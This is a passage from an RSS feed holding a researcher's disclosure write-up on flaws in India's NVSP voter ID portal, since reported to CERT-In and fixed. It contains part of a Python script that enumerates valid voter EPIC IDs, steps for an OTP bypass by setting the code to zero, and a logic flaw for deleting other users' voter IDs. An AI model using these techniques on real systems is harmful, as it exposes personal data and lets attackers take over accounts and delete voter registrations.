&lt;span class=&quot;n&quot;&gt;verify&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;302&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Epic-ID FOUND = &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colored&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;WRI&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;voter_ID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;green&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colored&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Not valid ID&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;yellow&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colored&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Session Expired &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;red&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;(response code = &quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;colored&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;response&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;status_code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;yellow&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;finish&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;time&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;perf_counter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;Finished in &lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;round&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;finish&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;start&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt; second(s)&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now I have valid Voter IDs of random persons then, I added these IDs with my profile under “&lt;a href=&quot;https://www.nvsp.in/Account/MyProfile&quot;&gt;/Account/MyProfile&lt;/a&gt;”. Then there is an option under the “/&lt;a href=&quot;https://www.nvsp.in/Forms&quot;&gt;forms&lt;/a&gt;/”section which is &lt;strong&gt;form001&lt;/strong&gt; and this form is already filled with **Name, father’s name, address, Date of birth, etc. **according to that valid EPIC ID added to my profile.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2732/1*6izoRB4cWjN5zjdZTDYdJg.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;Extracted details of a random Person&lt;/p&gt;

&lt;hr /&gt;

&lt;p align=&quot;center&quot;&gt;&lt;h2&gt;Account takeover (OTP bypass)&lt;/h2&gt;&lt;/p&gt;

&lt;p&gt;On the profile details updating section I was trying to add another user’s number. So I created another account for it. But there was an OTP implanted there, and I tried to brute-force it but it didn’t work :( I remember reading an article last year, you can read it &lt;strong&gt;&lt;a href=&quot;https://infosecwriteups.com/how-i-hacked-into-indias-top-matrimonial-website-and-earned-amazon-gift-card-worth-10k-inr-2a0b376219fa&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;, where the author just added 0 after intercepting the request. And I did the same thing here on OTP parameter and it worked :)&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2740/1*q0TSMqdgsXTtzROWDo6y9g.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;intercepting traffic while OTP is verifying&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2000/1*eEVjGxhUUzdbv2vkHlExnw.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;Changed the OTP value to zero&lt;/p&gt;

&lt;p&gt;After bypassing I thought it just can register the victim’s number then I’ll reset the password, But surprisingly on replacing the victim’s number my profile data automatically changed with the victim’s details, And I can own his account.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2740/1*az1-jwdyMLK1pOLWbA6ghA.png&quot; /&gt;
&lt;/p&gt;

&lt;hr /&gt;

&lt;p align=&quot;center&quot;&gt;&lt;h2&gt;Delete/remove any random user’s Voter ID card Permanently (Logic flaw)&lt;/h2&gt;&lt;/p&gt;

&lt;p&gt;From the 1st bug, we can get and add any random user’s Voter ID to our account, From that on the home page there is an option for “Deletion of Enrolment”. And nothing to be needed after an attacker added any random Voter ID on his profile section. then he can easily delete any random user’s Voter ID permanently.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;
  &lt;img src=&quot;https://cdn-images-1.medium.com/max/2732/1*SvvI8ZoSelvF3-83BzQRTw.png&quot; /&gt;
&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;
  An attacker can delete any random user’s card permanently&lt;/p&gt;

&lt;p&gt;I reported these three issues to &lt;a href=&quot;https://www.cert-in.org.in/VulnerIncident.jsp&quot;&gt;vdisclose@cert-in.org.in&lt;/a&gt; and they fixed these issues.&lt;/p&gt;

&lt;p&gt;I hope you liked this article, If you have any questions then you can dm me on &lt;a href=&quot;https://twitter.com/nxtexploit&quot;&gt;Twitter&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Thanks for reading,&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Aziz&lt;/strong&gt;&lt;/p&gt;

</description>
        <pubDate>Thu, 07 Jul 2022 00:00:00 +0000</pubDate>
        <link>https://nxtexploit.comblog//vdp/2022/07/07/exposing-millions-of-voter-ID-card-users-details/</link>
        <guid isPermaLink="true">https://nxtexploit.comblog//vdp/2022/07/07/exposing-millions-of-voter-ID-card-users-details/</guid>
      </item>
    
  </channel>
</rss>
